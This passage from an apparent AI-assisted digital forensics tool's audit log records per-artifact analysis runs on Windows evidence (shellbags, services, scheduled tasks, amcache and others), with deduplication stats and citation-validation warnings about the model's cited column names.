  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/jumplist.custom_destination.csv"
}
2026-06-13T07:58:13.892Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__jumplist.custom_destination.csv",
  "annotated_rows": 9,
  "artifact_key": "jumplist.custom_destination",
  "removed_records": 19,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/jumplist.custom_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T08:00:28.867Z analysis_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "duration_seconds": 134.983408,
  "status": "success",
  "token_count": 693
}
2026-06-13T08:00:28.875Z citation_validation
{
  "artifact_key": "jumplist.custom_destination",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Temp",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Downloads",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Public",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_arguments",
      "match_status": "exact",
      "matched_header": "lnk_arguments"
    },
    {
      "cited": "CustomDestinations",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "AutomaticDestinations",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_net_name",
      "match_status": "exact",
      "matched_header": "lnk_net_name"
    },
    {
      "cited": "lnk_device_name",
      "match_status": "exact",
      "matched_header": "lnk_device_name"
    }
  ],
  "warning_count": 5,
  "warnings": [
    "Note: AI cited column 'Temp' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Downloads' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Public' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'CustomDestinations' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'AutomaticDestinations' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T08:00:28.895Z analysis_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T08:00:28.931Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__shellbags.csv",
  "artifact_key": "shellbags",
  "projection_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime",
    "type",
    "path",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/shellbags.csv"
}
2026-06-13T08:00:28.941Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__shellbags.csv",
  "annotated_rows": 59,
  "artifact_key": "shellbags",
  "removed_records": 77,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/shellbags.csv",
  "variant_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime"
  ]
}
2026-06-13T08:04:57.919Z analysis_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "duration_seconds": 269.01064,
  "status": "success",
  "token_count": 1705
}
2026-06-13T08:04:57.925Z citation_validation
{
  "artifact_key": "shellbags",
  "citation_counts": {
    "columns": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "row_refs": {
      "checked": 48,
      "skipped": 0,
      "total": 48
    },
    "timestamps": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "perfmon",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts_atime",
      "match_status": "exact",
      "matched_header": "ts_atime"
    },
    {
      "cited": "ts_btime",
      "match_status": "exact",
      "matched_header": "ts_btime"
    },
    {
      "cited": "ts_mtime",
      "match_status": "exact",
      "matched_header": "ts_mtime"
    },
    {
      "cited": "cmd.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'perfmon' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'cmd.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T08:04:57.928Z analysis_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T08:04:57.932Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__sam.csv",
  "artifact_key": "sam",
  "projection_columns": [
    "ts",
    "rid",
    "username",
    "fullname",
    "admincomment",
    "usercomment",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin",
    "failedlogins",
    "logins",
    "flags"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/sam.csv"
}
2026-06-13T08:04:57.935Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__sam.csv",
  "annotated_rows": 0,
  "artifact_key": "sam",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/sam.csv",
  "variant_columns": [
    "ts",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin"
  ]
}
2026-06-13T08:09:34.798Z analysis_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "duration_seconds": 276.867268,
  "status": "success",
  "token_count": 1153
}
2026-06-13T08:09:34.805Z citation_validation
{
  "artifact_key": "sam",
  "citation_counts": {
    "columns": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    }
  },
  "citation_validation": "checked",
  "column_match_results": [
    {
      "cited": "ts",
      "match_status": "exact",
      "matched_header": "ts"
    },
    {
      "cited": "lastpasswordset",
      "match_status": "exact",
      "matched_header": "lastpasswordset"
    }
  ],
  "warning_count": 0,
  "warnings": []
}
2026-06-13T08:09:34.808Z analysis_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T08:09:34.817Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__network_history.csv",
  "artifact_key": "network_history",
  "projection_columns": [
    "created",
    "last_connected",
    "profile_name",
    "description",
    "dns_suffix",
    "first_network",
    "default_gateway_mac",
    "signature"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/network_history.csv"
}
2026-06-13T08:09:34.820Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__network_history.csv",
  "annotated_rows": 0,
  "artifact_key": "network_history",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/network_history.csv",
  "variant_columns": [
    "created",
    "last_connected",
    "first_network"
  ]
}
2026-06-13T08:10:45.284Z analysis_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "duration_seconds": 70.467839,
  "status": "success",
  "token_count": 445
}
2026-06-13T08:10:45.292Z citation_validation
{
  "artifact_key": "network_history",
  "citation_counts": {
    "columns": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "shieldbase.lan",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 2,
  "warnings": [
    "Note: AI cited timestamp 2026-06-13 which could not be verified in the source data.",
    "Note: AI cited column 'shieldbase.lan' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T08:10:45.295Z analysis_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T08:10:45.299Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__runkeys.csv",
  "artifact_key": "runkeys",
  "projection_columns": [
    "ts",
    "name",
    "command",
    "key",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/runkeys.csv"
}
2026-06-13T08:10:45.302Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__runkeys.csv",
  "annotated_rows": 0,
  "artifact_key": "runkeys",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/runkeys.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T08:13:30.340Z analysis_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "duration_seconds": 165.042573,
  "status": "success",
  "token_count": 821
}
2026-06-13T08:13:30.344Z citation_validation
{
  "artifact_key": "runkeys",
  "citation_counts": {
    "columns": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "lariat.cmd",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "OneDrive",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "administrator.shieldbase",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "rundll32",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "regsvr32",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 5,
  "warnings": [
    "Note: AI cited column 'lariat.cmd' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'OneDrive' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'administrator.shieldbase' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'rundll32' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'regsvr32' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T08:13:30.348Z analysis_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T08:13:32.107Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__tasks.csv",
  "artifact_key": "tasks",
  "projection_columns": [
    "task_path",
    "uri",
    "date",
    "last_run_date",
    "author",
    "task_name",
    "display_name",
    "enabled",
    "hidden",
    "user_id",
    "run_as",
    "logon_type",
    "group_id",
    "run_level",
    "action_type",
    "action",
    "command",
    "arguments",
    "args",
    "working_directory",
    "start_in",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/tasks.csv"
}
2026-06-13T08:13:32.111Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__tasks.csv",
  "annotated_rows": 254,
  "artifact_key": "tasks",
  "removed_records": 344,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/tasks.csv",
  "variant_columns": [
    "date",
    "last_run_date",
    "arguments"
  ]
}
2026-06-13T08:15:24.157Z analysis_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "duration_seconds": 113.805401,
  "status": "success",
  "token_count": 968
}
2026-06-13T08:15:24.174Z citation_validation
{
  "artifact_key": "tasks",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "timestamps": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "ExplorerShellUnelevated",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "False",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Exec",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "date",
      "match_status": "exact",
      "matched_header": "date"
    },
    {
      "cited": "Explorer.EXE",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "rangeadmin",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "last_run_date",
      "match_status": "exact",
      "matched_header": "last_run_date"
    },
    {
      "cited": "CreateExplorerShellUnelevatedTask",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 6,
  "warnings": [
    "Note: AI cited column 'ExplorerShellUnelevated' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'False' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Exec' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Explorer.EXE' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'rangeadmin' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'CreateExplorerShellUnelevatedTask' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T08:15:24.178Z analysis_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T08:15:24.207Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__services.csv",
  "artifact_key": "services",
  "projection_columns": [
    "ts",
    "name",
    "displayname",
    "description",
    "servicedll",
    "imagepath",
    "imagepath_args",
    "objectname",
    "start",
    "type"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/services.csv"
}
2026-06-13T08:15:24.210Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__services.csv",
  "annotated_rows": 0,
  "artifact_key": "services",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/services.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T08:18:17.467Z analysis_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "duration_seconds": 173.286605,
  "status": "success",
  "token_count": 1675
}
2026-06-13T08:18:17.479Z citation_validation
{
  "artifact_key": "services",
  "citation_counts": {
    "columns": {
      "checked": 11,
      "skipped": 0,
      "total": 11
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "LocalSystem",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mnemosyne",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Mnemosyne.sys",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "prunsrv.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "LARIAT",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "npf",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "RUNNING",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "STOPPED",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "msadvapi2_32.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "msadvapi2_64.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 10,
  "warnings": [
    "Note: AI cited column 'LocalSystem' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mnemosyne' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Mnemosyne.sys' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'prunsrv.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'LARIAT' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'npf' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'RUNNING' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'STOPPED' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'msadvapi2_32.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'msadvapi2_64.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T08:18:17.482Z analysis_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T08:18:17.504Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__shimcache.csv",
  "artifact_key": "shimcache",
  "projection_columns": [
    "last_modified",
    "index",
    "name",
    "path"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/shimcache.csv"
}
2026-06-13T08:18:17.508Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__shimcache.csv",
  "annotated_rows": 0,
  "artifact_key": "shimcache",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/shimcache.csv",
  "variant_columns": [
    "last_modified",
    "index"
  ]
}
2026-06-13T08:22:23.446Z analysis_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "duration_seconds": 245.96112,
  "status": "success",
  "token_count": 1933
}
2026-06-13T08:22:23.456Z citation_validation
{
  "artifact_key": "shimcache",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 13,
      "skipped": 0,
      "total": 13
    },
    "timestamps": {
      "checked": 19,
      "skipped": 0,
      "total": 19
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "subject_srv.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "sd.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "perfmon",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "BrowsingHistoryView.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Autorunsc.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "last_modified",
      "match_status": "exact",
      "matched_header": "last_modified"
    },
    {
      "cited": "wsmprovhost.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mstsc.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 7,
  "warnings": [
    "Note: AI cited column 'subject_srv.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'sd.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'perfmon' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'BrowsingHistoryView.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Autorunsc.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'wsmprovhost.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mstsc.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T08:22:23.459Z analysis_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T08:22:23.523Z artifact_ai_projection_warning
{
  "artifact_key": "amcache",
  "available_columns": [
    "hostname",
    "domain",
    "mtime_regf",
    "program_id",
    "digest",
    "path",
    "hash_path",
    "name",
    "publisher",
    "version",
    "bin_file_version",
    "product_name",
    "product_version",
    "link_date",
    "bin_product_version",
    "size",
    "language",
    "is_pefile",
    "is_oscomponent",
    "_source",
    "_classification",
    "_generated",
    "_version",
    "install_date",
    "install_date_arp_last_modified",
    "install_date_from_link_file",
    "language_code",
    "msi_package_code",
    "msi_product_code",
    "package_full_name",
    "type",
    "manifest_path",
    "os_version_at_install_time",
    "program_instance_id",
    "registry_key_path",
    "root_dir_path",
    "source",
    "uninstall_string",
    "categories",
    "discovery_method",
    "friendly_name",
    "icon",
    "is_active",
    "is_connected",
    "is_machine_container",
    "is_networked",
    "is_paired",
    "manufacturer",
    "model_id",
    "model_name",
    "model_number",
    "primary_category",
    "state",
    "driver_name",
    "inf",
    "driver_version",
    "product",
    "wdf_version",
    "driver_company",
    "driver_package_strong_name",
    "service",
    "driver_signed",
    "driver_is_kernel_mode",
    "last_write_time",
    "driver_timestamp",
    "image_size"
  ],
  "missing_columns": [
    "ts",
    "last_modified_timestamp",
    "created_timestamp",
    "company_name",
    "file_size"
  ]
}
2026-06-13T08:22:23.575Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__amcache.csv",
  "artifact_key": "amcache",
  "projection_columns": [
    "install_date",
    "path",
    "name",
    "publisher",
    "version",
    "product_name",
    "digest",
    "size",
    "driver_name",
    "service",
    "driver_signed",
    "is_pefile",
    "is_oscomponent",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/amcache.csv"
}
2026-06-13T08:22:23.578Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__amcache.csv",
  "annotated_rows": 2,
  "artifact_key": "amcache",
  "removed_records": 8,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/amcache.csv",
  "variant_columns": [
    "install_date"
  ]
}
2026-06-13T08:24:21.707Z analysis_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "duration_seconds": 118.244122,
  "status": "success",
  "token_count": 1651
}
2026-06-13T08:24:21.715Z citation_validation
{
  "artifact_key": "amcache",
  "citation_counts": {
    "columns": {
      "checked": 12,
      "skipped": 0,
      "total": 12
    },
    "row_refs": {
      "checked": 15,
      "skipped": 0,
      "total": 15
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "beb067d29fe33cee31784011729e7355daf562b9",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "msadvapi_32",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "msadvapi_64",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SystemInit",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "elevate.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "nssm.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "delprof.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "pscp.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "nssm",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "install_date",
      "match_status": "exact",
      "matched_header": "install_date"
    }
  ],
  "warning_count": 11,
  "warnings": [
    "Note: AI cited column 'beb067d29fe33cee31784011729e7355daf562b9' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'msadvapi_32' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'msadvapi_64' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SystemInit' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'elevate.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'nssm.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'delprof.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'pscp.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'nssm' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'msadvapi2_32.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T08:24:21.718Z analysis_started
{
  "artifact_key": "bam",
